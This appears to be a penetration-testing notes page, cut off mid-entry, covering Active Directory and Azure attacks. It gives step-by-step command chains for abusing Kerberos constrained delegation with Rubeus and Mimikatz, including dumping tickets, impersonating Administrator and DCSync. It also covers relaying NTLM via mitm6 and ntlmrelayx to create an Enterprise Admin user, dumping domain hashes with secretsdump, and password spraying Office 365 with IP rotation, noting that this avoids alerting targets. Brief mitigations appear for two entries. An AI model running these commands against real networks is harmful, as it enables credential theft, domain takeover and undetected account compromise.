[Active Directory] Constrained delegation

    Description

    Kerberos Delegation

    The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server. An example of this would be a web server that needs to access a SQL database hosted on the database server for the web application that it is hosting. Without delegation, we would probably use an AD service account and provide it with direct access to the database. When requests are made on the web application, the service account would be used to authenticate to the database and recover information.

    However, we can allow this service account to be delegated to the SQL server service. Once a user logs into our web application, the service account will request access to the database on behalf of that user. This means that the user would only be able to access data in the database that they have the relevant permissions for without having to provide any database privileges or permissions to the service account itself.

    Constrained vs Unconstrained

    There are two types of Kerberos Delegation. In the original implementation of Kerberos Delegation, Unconstrained Delegation was used, which is the least secure method. In essence, Unconstrained Delegation provides no limits to the delegation. In the background, if a user with the “TRUSTED_FOR_DELEGATION” flag set authenticates to a host with Unconstrained Delegation configured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory so it can be used later if needed. Suppose an attacker can compromise a host that has Unconstrained Delegation enabled the flag “TRUSTED_TO_AUTH_FOR_DELEGATION”. In that case, they could attempt to force a privileged account to authenticate to the host, which would allow them to intercept the generated TGT and impersonate the privileged service.

    To combat the security failings of Unconstrained Delegation, Microsoft introduced Constrained Delegation in 2003. Constrained Delegation restricts what services an account can be delegated to, limiting exposure if an account is compromised. The following are examples of services that can be configured for delegation:

    • HTTP – Used for web applications to allow pass-through authentication using AD credentials.
    • CIFS – Common Internet File System is used for file sharing that allows delegation of users to shares.
    • LDAP – Used to delegate to the LDAP service for actions such as resetting a user’s password.
    • HOST – Allows delegation of account for all activities on the host.
    • MSSQL – Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

    Exploiting Constrained Delegation is usually more complex than exploiting Unconstrained Delegation since the delegated account can’t just be used for everything. However, it can still be used for some powerful exploitation.

    • An example of this would be if we were able to compromise an AD account that had constrained delegation configured. By knowing the plaintext password or even just the NTLM hash of this account, we could generate a TGT for this account,
    • then use the TGT to execute a ticket-granting server (TGS) request for any non-sensitive user account in order to access the service as that user. Imagine impersonating an account with access to a sensitive database, for example.

    Resource-Based Constrained Delegation

    There are actually three types of Kerberos Delegation. But this one deserves to be mentioned on its own. Introduced by Microsoft in 2012, Resource-Based Constrained Delegation (RBCD) once again provided additional restrictions on Kerberos Delegation for security. RBCD changes the delegation model entirely.

    • Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it.

    Kerberos Constrained Delegation

    If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it’s possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

    Requirements

    • User/Service Account/computer’s password/hash that has Constrained Delegations permissions
    • Kerberos Authentication: The target environment should use Kerberos authentication.
    • Account has the TRUSTED_TO_AUTH_FOR_DELEGATION flag in the User Account Control (UAC) flags.

    Escalation Vectors

    • Vertically, escalate privileges to a higher privileged user like Domain Admin.
    • Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

    Identify

    In order to Identify the target user with TRUSTED_TO_AUTH_FOR_ DELEGATION flag, run

    PowerView

    1. In Powershell, download & import the module PowerView.ps1. (https://github.com/PowerShellMafia/PowerSploit/tree/master)

    • Import-Module .\PowerView.ps1

    2. Find account with TRUSTED_TO_AUTH_FOR_ DELEGATION flag

    • Get-NetUser -TrustedToAuth
    • Get-DomainUser -TrustedToAuth
    • Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
    • Get-DomainComputer -TrustedToAuth
    • Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

    Note: important to look for the following object data

    • Samaccountname
    • msds-allowedtodelegateto
    • memberof
    • useraccountcontrol

    ADSearch

    1. You can also enumerate TRUSTED_TO_AUTH_FOR_ DELEGATION, using ADSearch. (https://github.com/tomcarver16/ADSearch)

    • ADSearch.exe –search “(&(objectCategory=computer)(msds-allowedtodelegateto=*))” –attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto –json

    PowerShell

    1. Search both users and computers for Constrained Delegation

    • Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne “$null”} -Properties msDS-AllowedToDelegateTo

    Exploitation

    Triage current tickets

    1. If you are SYSTEM in the server, you might take it from memory

    • Rubeus.exe Triage

    2. Dump system TGT

    Rubeus.exe dump /luid:0x3e4 /service:krbtgt /user:srv01 /nowrap

    Mimikatz

    1. If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one

    • mimikatz sekurlsa::ekeys

    Request TGT

    The first step is to get a TGT of the service that can impersonate others. We require the Username/Password that belongs to the account that has TRUSTED_TO_AUTH_FOR_ DELEGATION flag

    Rubeus

    1. Knowing the delegated user/computer/service (hash/password/aes256/rc4) you can request a TGT

    Password

    • .\Rubeus.exe asktgt /user:SQLService /password:MYpassword123#
    • .\Rubeus.exe asktgt /user:SQLService /password:MYpassword123# /outfile:TGT_svc.kirbi

    AES256

    • .\Rubeus.exe asktgt /user:SQLService /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

    RC4

    • .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_svc.kirbi

    Kekeo

    1. You can try to request TGT using

    Password

    • tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

    AES265

    • tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05

    RC4

    • tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

    Request TGS

    Rubeus

    1. Once we have the TGT ticket, the next step is to obtain a TGS of the Administrator user to self

    • .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
    • .\Rubeus.exe s4u /ticket:TGT_cifs.kirbi /impersonateuser:Administrator /msdsspn:cifs/Lab-DC.lab.local /user:SQLService /nowrap /outfile:TGS_administrator
    • Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.security.local /user:srv01$ /ticket:[Base64 ticket] /nowrap

    2. (Optional) Obtain service TGS impersonating Administrator (CIFS service)

    • .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /outfile:TGS_administrator_CIFS

    3. (Optional) Impersonate Administrator on different service (HOST)

    • .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /altservice:HOST /outfile:TGS_administrator_HOST

    4. (Optional) Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)

    • .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

    Kekeo

    1. Once we have the TGT ticket, the next step is to obtain a TGS of the Administrator user to self

    • tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones

    Method #1: Load TGS to Memory

    Rubeus

    1. Before, loading the ticket to memory, we can test the service access, we get access denied

    • dir \\lab-dc.lab.local\c$

    2. Load ticket in memory

    • .\Rubeus.exe ptt /ticket:TGS_administrator_cifs_Lab-DC.lab.local

    3. Test access again

    • dir \\lab-dc.lab.local\c$

    4. Confirm the TGS has been loaded to memory

    • Rubeus.exe triage

    Mimikatz

    1. Load ticket in memory

    • kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

    Method #2: Load TGS to Memory (Separate Session)

    Rubeus

    1. Pass ticket into separate session (Preferred), Create new LUID session (Requires Elevation)

    • Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show

    2. Pass ticket into new session

    Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

    Alternate Service Name

    1. Kerberos uses a Service Principal Name (SPN) to identify a service during authentication, which is typically a combination of the service name and the host’s name where the service is running. Rubeus.exe includes an option called /altservicename that enables an attacker to use a different service name when constructing the SPN. This option can be helpful in certain situations, such as when the default service name is unavailable or the attacker wants to target a specific service.

    In this instance, we’re leveraging the TGT issued for SRV01$ to obtain a TGS for LDAP.

    Following on from the section: Obtain TGT use the following commands to generate a TGS for the alternative service name.

    • Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.security.local /altservice:ldap /user:srv01$ /ticket:[Base64 ticket] /nowrap

    2. In the above output we alternate the CIFS service for LDAP. As the Domain Administrator has been impersonated this can be used to perfrom DCSync.

    • Invoke-Mimikatz -Command ‘”lsadump::dcsync /domain:security.local /user:krbtgt”‘

    Mitigation

    • To mitigate against the abuse of delegated accounts, we can ensure that the privileged accounts are configured to “Account is sensitive and cannot be delegated” within the Active Directory or added to the Protected User group to prevent delegation.
    • If delegation is needed for specific accounts, they should be secured with firewall rules that only serve the purpose and delegation to the required service and limit any other privileged access that might not be necessary.
    • Also, ensure the delegated accounts use strong passwords to protect them against attacks like Kerberoasting.

    References

    https://tryhackme.com/r/room/exploitingad

    https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation

    https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation

    https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation

    https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/constrained-delegation

    https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13

    [Active Directory] IPv6 DNS takeover via MItM

    IPv6 DNS Takeover Overview

    1. This attack attempts a DNS takeover in a network via IPv6 using mitm6, which listens for ipv6 DNS requests, spoofs the DNS reply and passes it to ntlmrelayx.
    2. Ntlmrelayx captures NTLM credentials obtained through a fake WPAD proxy and relays them to an authentication service.
    3. Once it succeeds in authentication, it dumps the domain information. This attack can be built upon to get all the NTLM hashes from the domain.

    All Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. By default, every Windows machine since Windows Vista will request this configuration regularly.

    Attack Requirements

    • Domain Name
    • IP address of Domain Controller
    • Tools: mitm6 & Impacket-ntlmrelayx
    • IPv6 DNS request on the network
    • User with privileges

    Warning: Run it during short timeframes, and during specific hours like Start of shift, right after lunch, when users turn on their laptops and log in again

    The mitm6 attack

    Attack phase 1 – Primary DNS takeover

    mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. This can be seen in a packet capture from Wireshark:

    • DHCPv6 Solicit
    • DHCPv6 Advertise
    • DHCPv6 Request
    • DHCPv6 Reply

    mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims.

    mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN.

    Attack phase 2 – DNS spoofing

    On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred over the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

    Once the attacker has control of the DNS requests, they can utilize them to carry out a variety of attacks. For instance, they might divert traffic intended for a legitimate website to a phony version of the same site that is intended to steal sensitive data like login credentials.

    Attack phase 3 – Attacking WPAD (MS16-077)

    WPAD simplifies proxy configuration by dynamically providing settings based on network conditions.

    1. Clients use DHCP and/or DNS to find a web server on your network that hosts the wpad.dat file.
    2. The wpad.dat file specifies rules based on URL patterns, IP addresses, and domains.
    3. If a client’s requested URL matches any rule, it follows the corresponding proxy configuration.
    4. If no rule matches, the default proxy server (specified in the wpad.dat file) is used.
    5. You can use this to set up content filtering, exceptions, and custom proxy servers1.

    PAC File (wpad.dat): A special Proxy Auto Configuration (PAC) file describes rules for using a proxy. The predefined name for this file is wpad.dat

    Attack phase 4 – Download the AD database

    Once the wpad.dat has been served, the scripts will download domain enumeration into the specified folder.

    These files include

    • Domain Computers
    • Domain Groups
    • Domain Policy
    • Domain Users

    Attack phase 5 – IPv6 DNS taken over

    Once, the IPv6 DNS has been taken over, if a user with sufficient privileges logs in, these scripts will attempt to add a new user within Active Directory. This user will have Enterprise Admins privileges, which can be used to perform DC Sync to the Domain Controller.

    If we verify the Active directory user list, we can find this new user created

    Next step would be trying a DCSync attack using these credentials.

    Attack Execution

    1. Find out about the domain name, by querying the domain controller

    • nmap -sC -A 192.168.0.100

    2. Run the necessary services (ntlmrelayx)

    • impacket-ntlmrelayx -6 -t ldaps://DC-IP -wh <wpad_fake_name>.<domain.local> -l <folder name>
    • impacket-ntlmrelayx -6 -t ldaps://192.168.0.100 -wh fakewpad.lab.local -l lootme

    3. Now run the MITM6 tool, to start spoofing the IPv6 DNS (https://github.com/dirkjanm/mitm6)

    • sudo python3 mitm6.py -d <domain>
    • sudo python3 mitm6.py -d lab.local

    4. Wait for a computer to request IPv6 DNS over the network

    we can host a fake WPAD for the victim, which sets the web proxy to the attacker’s IP address when queried. Now, whenever the victim uses any application that connects to the internet, it will use our machine as a proxy. Once connected, the proxy server (attacker machine) responds with an HTTP 407:Proxy Authentication required, prompting the Windows machine to send us the NTLM challenge/response. This can be relayed to different authentication services such as LDAPS, SMB or HTTP.

    5. When this occurs, it means, we poisoned the remote host, now we need to wait for a user to log into this machine, once, it happens we will see “HTTPD(80): Authenticating against ldaps://192.168.0.100 as LAB/SUCHIHA SUCCEED”

    After authentication ntlmrelayx performs a ldap domain dump which provides us with quite a bit of information for us. These file can be found in lootme folder which we specified when we were setting up the relay.

    6. Now if an administrator tries to login to a compromised machine and it succeeds, ntlmrelayx is going to create an access control list or ACL for us and is going to set us with a new user and password, with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges.

    Extra: DCSync

    1. Having these new credentials, we can perform a DCSync attack against the domain controller

    • impacket-secretsdump lab.local/eYcmWVhNDv:’X*}CdYk6jTk0z>V’@192.168.0.100 -just-dc

    Mitigation

    MITM6 attacks can be difficult to detect and prevent, as they often involve sophisticated techniques and tools. However, there are steps that organizations and individuals can take to protect against these types of attacks:

    • Disabling IPv6 if it is not used on your internal network will prevent Windows clients from querying for a DHCPv6 server thereby making it impossible to take over the DNS server.
    • Disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC URL instead of relying on WPAD to detect it automatically.
    • In order to prevent NTLM relaying you should consider disabling it entirely and switch to Kerberos or, if that isn’t possible, you should:
    • enable SMB signing to prevent relaying to SMB by requiring all traffic to be signed
    • enable LDAP signing to prevent unsigned connections to LDAP
    • Enable extended protection for authentication which will prevent some relaying attacks by ensuring that the TLS channel used for the connection to the server is the same that the client uses when authenticating.

    References

    https://n1chr0x.medium.com/from-dns-to-domination-dns-takeover-demystified-with-mitm6-e9cd438d42a7

    https://medium.com/@huseyin.eksi/how-to-ipv6-dns-takeover-via-mitm6-24b64dac2db5

    https://redfoxsec.com/blog/ipv6-dns-takeover/

    https://blog.evanricafort.com/2023/05/ipv6-dns-takeover-via-mitm6-write-up.html

    https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

    https://bohansec.com/2020/10/18/AD-Attack-Lab-Part-2/

    https://cheatsheet.haax.fr/windows-systems/exploitation/ipv6/

    https://github.com/dirkjanm/mitm6

    https://github.com/fortra/impacket/releases/tag/impacket_0_9_22

    [Authenticated][Information Gathering] Manual Azure enumeration using Azure Az Powershell Module

    Description

    The Az PowerShell module is a set of cmdlets for managing Azure resources directly from PowerShell. PowerShell provides powerful features for automation that can be leveraged for managing your Azure resources, for example in the context of a CI/CD pipeline.

    The Az PowerShell module is the replacement for AzureRM and is the recommended module to use for interacting with Azure.

    Requirements

    • Account credentials

    How to Use

    1. Install the Powershell module

    • Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force

    2. List the help menu

    • Get-Help Az

    3. Connect to Azure Cloud

    • Connect-AzAccount

    Note: You can also authenticate using credentials

    • $credentials = Get-Credential
    • Connect-AzAccount -Credential $credentials

    4. Once logged in, you are displayed Account, SubscriptionName, TenantId, Environment

    Enumerate current Context

    Get-AzContext

    1. This cmdlet gets the Active Directory account, Active Directory tenant, Azure subscription, and the targeted Azure environment. Azure Resource Manager cmdlets use these settings by default when making Azure Resource Manager requests.

    • Get-AzContext -ListAvailable

    Get-AzSubscription

    The Get-AzSubscription cmdlet gets the subscription ID, subscription name, and home tenant for subscriptions that the current account can access.

    • Get-AzSubscription

    Get-AzRoleAssignment

    Use the Get-AzRoleAssignment command to list all role assignments that are effective on a scope. Without any parameters, this command returns all the role assignments made under the subscription. This list can be filtered using filtering parameters for principal, role and scope.

    • Get-AzRoleAssignment

    Get-AzResource

    The Get-AzResource cmdlet gets Azure resources.

    • Get-AzResource

    Get-AzResourceGroup

    The Get-AzResourceGroup cmdlet gets Azure resource groups in the current subscription. You can get all resource groups, or specify a resource group by name or by other properties. By default, this cmdlet gets all resource groups in the current subscription. For more information about Azure resources and Azure resource groups, see the New-AzResourceGroup cmdlet.

    • Get-AzResourceGroup

    Get-AzStorageAccount

    The Get-AzStorageAccount cmdlet gets a specified Storage account or all of the Storage accounts in a resource group or the subscription.

    • Get-AzStorageAccount

    Get-AzWebApp

    The Get-AzWebApp cmdlet gets information about an Azure Web App.

    • Get-AzWebApp

    Get-AzAutomationAccount

    The Get-AzAutomationAccount cmdlet gets Azure Automation accounts in a resource group.

    • Get-AzAutomationAccount

    Get-AzVirtualNetwork

    The Get-AzVirtualNetwork cmdlet gets one or more virtual networks in a resource group.

    • Get-AzVirtualNetwork

    Get-AzPublicIPAddress

    The Get-AzPublicIPAddress cmdlet gets one or more public IP addresses in a resource group.

    • Get-AzPublicIPAddress

    Get-AzVpnConnection

    Gets a vpn connection by name or lists all vpn connections connected to a VpnGateway.

    • Get-AzVpnConnection

    References

    https://learn.microsoft.com/en-us/powershell/azure/new-azureps-module-az?view=azps-11.5.0

    [Authenticated][Information Gathering] Manual Azure Active Directory enumeration using AzureAD Powershell Module

    Description

    Azure Active Directory PowerShell for Graph (Azure AD PowerShell) is a module IT Pros commonly use to manage their Azure Active Directory. The cmdlets in the Azure AD PowerShell module enable you to retrieve data from the directory, create new objects in the directory, update existing objects, remove objects, as well as configure the directory and its features.

    Requirements

    Authenticated account

    Installation

    1. In order to install AzureAD run this command

    • Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force

    2. List the module’s cmdlets

    • Get-Command -Module AzureAD

    3. Display cmdlet help

    • Get-Help Connect-AzureAD -Detailed
    • Get-Help <cmdlet name> -Examples
    • Get-Help <cmdlet name> -Full

    Enumeration

    1. Connect to the Cloud

    • Connect-AzureAD

    Get-AzureADDomain

    The Get-AzureADDomain cmdlet gets a domain in Azure Active Directory (AD).

    • Get-AzureADDomain

    Get-AzureADUser

    The Get-AzureADUser cmdlet gets a user from Azure Active Directory (AD).

    • Get-AzureADUser
    • Get-AzureADUser -Filter <String>

    Get-AzureADGroup

    The Get-AzureADGroup cmdlet gets a group in Azure Active Directory (AD).

    • Get-AzureADGroup

    Get-AzureADDirectoryRole

    The Get-AzureADDirectoryRole cmdlet gets a directory role from Azure Active Directory (AD).

    • Get-AzureADDirectoryRole

    Get-AzureADDirectoryRoleMember

    The Get-AzureADDirectoryRoleMember cmdlet gets the members of a directory role in Azure Active Directory (AD).

    • Get-AzureADDirectoryRoleMember -ObjectId “<object-id>”

    Get-AzureADApplication

    The Get-AzureADApplication cmdlet gets an Azure Active Directory application.

    • Get-AzureADApplication

    Get-AzureADApplicationOwner

    The Get-AzureADApplicationOwner cmdlet get an owner of an Azure Active Directory application. Using the object-id of the application (Get-AzureADApplication)

    • Get-AzureADApplicationOwner -ObjectId “<object-id>”

    Get-AzureADApplicationPasswordCredential

    The Get-AzureADApplicationPasswordCredential cmdlet gets the password credentials for an Azure Active Directory application. Using the object-id of the application (Get-AzureADApplication)

    • Get-AzureADApplicationPasswordCredential -ObjectId “<object-id>”

    References

    https://docs.microsoft.com/en-us/powershell/module/azuread/get-azureaduser?view=azureadps-2.0

    https://docs.microsoft.com/en-us/powershell/module/azuread

    [Authenticated][Information Gathering] Automated Microsoft 365 Office enumeration using o365recon

    Description

    o365recon

    Script to retrieve information via O365 and AzureAD with a valid credential. You can run it either in Windows Powershell or Linux Powershell.

    Requirements

    Authenticated Account

    Installation

    1. Install these two modules

    • Install-Module -Name MSOnline -Scope CurrentUser -Repository PSGallery -Force
    • Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force

    2. Download the script into you machine

    • git clone https://github.com/nyxgeek/o365recon.git
    • cd o365recon
    • ls

    How to use

    Connect to the cloud

    • o365recon.ps1 -azure
    • .\o365recon.ps1 -all -outputfile result.txt

    Results

    It provides us with detailed information about the azure environment

    References

    https://github.com/nyxgeek/o365recon

    [Authenticated][Information Gathering] Automated Azure Active Directory enumeration using ROADtools

    Description

    ROADtools (Rogue Office 365 and Azure (active) Directory tools)

    ROADtools is a framework to interact with Azure AD. It consists of a library (roadlib) with common components, the ROADrecon Azure AD exploration tool and the ROADtools Token eXchange (roadtx) tool.

    ROADlib

    ROADlib is a library that can be used to authenticate with Azure AD or to build tools that integrate with a database containing ROADrecon data. The database model in ROADlib is automatically generated based on the metadata definition of the Azure AD internal API. ROADlib lives in the ROADtools namespace, so to import it in your scripts use

    • from roadtools.roadlib import X

    ROADrecon

    ROADrecon is a tool for exploring information in Azure AD from both a Red Team and Blue Team perspective. In short, this is what it does:

    • Uses an automatically generated metadata model to create an SQLAlchemy backed database on disk.
    • Use asynchronous HTTP calls in Python to dump all available information in the Azure AD graph to this database.
    • Provide plugins to query this database and output it to a useful format.
    • Provide an extensive interface built in Angular that queries the offline database directly for its analysis.
    • ROADrecon uses async Python features and is only compatible with Python 3.7 and newer (development is done with Python 3.8, tests are run with versions up to Python 3.11).

    Requirements

    Authenticated Account

    Installation

    There are multiple ways to install ROADrecon:

    Using a published version on PyPi

    Stable versions can be installed with pip install roadrecon. This will automatically add the roadrecon command to your PATH.

    Using a version from GitHub

    Every commit to master is automatically built into a release version with Azure Pipelines. This ensures that you can install the latest version of the GUI without having to install npm and all it’s dependencies. You can download the roadlib and roadrecon build files from the Azure Pipelines artifacts (click on the button “1 Published”. The build output files are stored in ROADtools.zip. You can either install the .whl or .tar.gz files directly using pip or unzip both and install the folders in the correct order (roadlib first):

    • pip install roadlib/
    • pip install roadrecon/

    You can also install them in development mode with pip install -e roadlib/.

    Developing the front-end

    If you want to make changes to the Angular front-end, you will need to have node and npm installed. Then install the components from git:

    • git clone https://github.com/dirkjanm/roadtools.git
    • pip install -e roadlib/
    • pip install -e roadrecon/
    • cd roadrecon/frontend/
    • npm install

    You can run the Angular frontend with npm start or ng serve using the Angular CLI from the roadrecon/frontend/ directory. To build the JavaScript files into ROADrecon’s dist_gui directory, run npm build

    How to use

    1. You can also run the main script to run reoad recon

    • cd /roadtools/roadrecon/roadtools/roadrecon
    • python3 main.py -h

    2. Display the argument options

    • python3 main.py auth -h

    Start enumeration

    Authentication

    To authenticate use the auth module, this command will authenticate a create a token

    • roadrecon auth -u <azure_username> -p <password>

    Gather information

    Once authenticated we can proceed to gather information about Azure, it will save the results in a database

    • roadrecon gather

    Start GUI

    1. After the information has been gather, we can start the GUI

    • roadrecon gui

    2. Connect to the GUI visiting http://127.0.0.1:5000/

    Users

    1. Enumerate users’ information such as username, account type, email, last password change, etc

    2. If you click on a user you can verify the Groups, Roles, Owned Objects, Raw data

    Groups

    You can also enumerate groups and their details such as members and general information

    Devices

    Enumerate the devices name, status, OS, trust type

    Roles

    Enumerate rols Principal Name, type, userPrincipalName, status

    Applications

    Enumerate applications name, multitenant status, home page, authentication, owners

    Service Principals

    Enumerate Service principals name, type, publisher, status

    Applications Roles

    Enumerate application roles name, type, application, role, description

    OAuth2

    Enumerate OAuth2 Approval type, principal name, Source & target application, scope

    References

    https://github.com/dirkjanm/ROADtools

    https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon

    [Password Spray] Office Microsoft Online accounts (Azure/O365)

    Description

    A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn’t exist, if a user doesn’t exist, if the account is locked, or if the account is disabled.

    BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

    This tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn’t exist, if a user doesn’t exist, if the account is locked, if the account is disabled, if the password is expired and much more.

    So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn’t auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target.

    Requirements

    • Existing user account
    • List of password samples to spray

    How to Use

    1. Download the tool

    • git clone https://github.com/dafthack/MSOLSpray.git

    2. Import the module into powershell

    • Import-Module .\MSOLSpray.ps1

    3. Display help menu

    • Get-Help Invoke-MSOLSpray

    This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn’t exist, if a user doesn’t exist, if the account is locked, or if the account is disabled.

    Note: Invoke-MSOLSpray [[-OutFile] <String>] [[-UserList] <String>] [[-Password] <String>] [[-URL] <String>] [[-Force]] [<CommonParameters>]

    4. Get full help description

    • Get-Help Invoke-MSOLSpray –Detailed

    5. Invoke-MSOLSpray Options

    • UserList – UserList file filled with usernames one-per-line in the format “user@domain.com”
    • Password – A single password that will be used to perform the password spray.
    • OutFile – A file to output valid results to.
    • Force – Forces the spray to continue and not stop when multiple account lockouts are detected.
    • URL – The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

    Exploitation

    1. Spray a known password

    • Invoke-MSOLSpray -UserList <userlist.txt> -Password <password>

    2. The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

    • Invoke-MSOLSpray -UserList <userlist.txt> -Password <password> -URL <url>

    References

    https://github.com/dafthack/MSOLSpray

    [Unauthenticated][Information Gathering] OneDrive user enumeration

    Description

    OneDrive users have a file share URL with a known location:

    https://acmecomputercompany-my.sharepoint.com/personal/lightmand_acmecomputercompany_com/_layouts/15/onedrive.aspx

    In this instance, the username is ‘lightmand’ and the domain is ‘acmecomputercompany.com’. If a user has logged into OneDrive, this path will exist and return a 403 status code. If they have not, or the user is invalid, it will return a 404.

    The results may vary depending on how widely used OneDrive is within an org. Currently it is the most reliable user-enumeration method that I’m aware of (office365userenum no longer works, and the others like UhOh365 are unreliable). Further, it does not attempt a login and is much more passive, and should be undetectable to the target org. Microsoft will see the hits, but the target org won’t.

    Requirements

    • Tenant name
    • Username or user list <found usernames>
    • Domain name

    How to Use

    1. Download the tool

    • git clone https://github.com/nyxgeek/onedrive_user_enum.git

    2. Install requirements

    • pip3 install -r requirements.txt

    3. Display menu

    • python3 ./onedrive_enum.py -h

    Exploitation

    1. Run basic OneDrive user enumeration

    • python3 onedrive_enum.py -U <user_list> -d <domain.onmicrosoft.com> -v

    2. example – basic usage

    • ./onedrive_enum.py -t microsoft -d microsoft.com -U USERNAMES/statistically-likely/jsmith.txt

    3. example – mysql db logging

    • ./onedrive_enum.py -t microsoft -d microsoft.com -U USERNAMES/statistically-likely/jsmith.txt -m db.conf

    4. Set Threads

    • python3 onedrive_enum.py -U <user_list> -d <domain.onmicrosoft.com> -v -T100

    References

    https://github.com/dafthack/MSOLSpray

    https://trustedsec.com/blog/onedrive-to-enum-them-all

    [Unauthenticated][Information Gathering] Enumerate public resources in Azure using Cloud_Enum

    Description

    Cloud_Enum is a multi-cloud OSINT tool, in this case we are going to use it to enumerate Microsoft Azure

    Requirements

    • Company Name or domain

    How to Use

    1. Download the tool

    • git clone https://github.com/initstring/cloud_enum.git

    2. Install the necessary modules

    • pip3 install -r requirements.txt

    3. Display the menu

    • python3 cloud_enum.py -h

    4. Select the regions you want the search to apply

    • vi enum_tools/azure_regions.py

    Exploitation

    1. Run the tool only for Azure

    • python3 cloud_enum.py -k <company name> –disable-aws –disable-gcp

    2. Set threads

    • cloud_enum -k keyword -t 10

    References

    https://github.com/initstring/cloud_enum

    [Unauthenticated][Information Gathering] Enumerate Azure OWA and EWS using MailSniper

    Description

    MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email or by an Exchange administrator to search the mailboxes of every user in a domain.

    MailSniper also includes additional modules for password spraying, enumerating users and domains, gathering the Global Address List (GAL) from OWA and EWS and checking mailbox permissions for every Exchange user at an organization.

    For more information about the primary MailSniper functionality check out blog post.

    For more information about additional MailSniper modules check out:

    Download the MailSniper Field Manual to quickly reference various MailSniper functions.

    How to Use

    Two main functions in MailSniper.

    These two functions are Invoke-GlobalMailSearch and Invoke-SelfSearch.

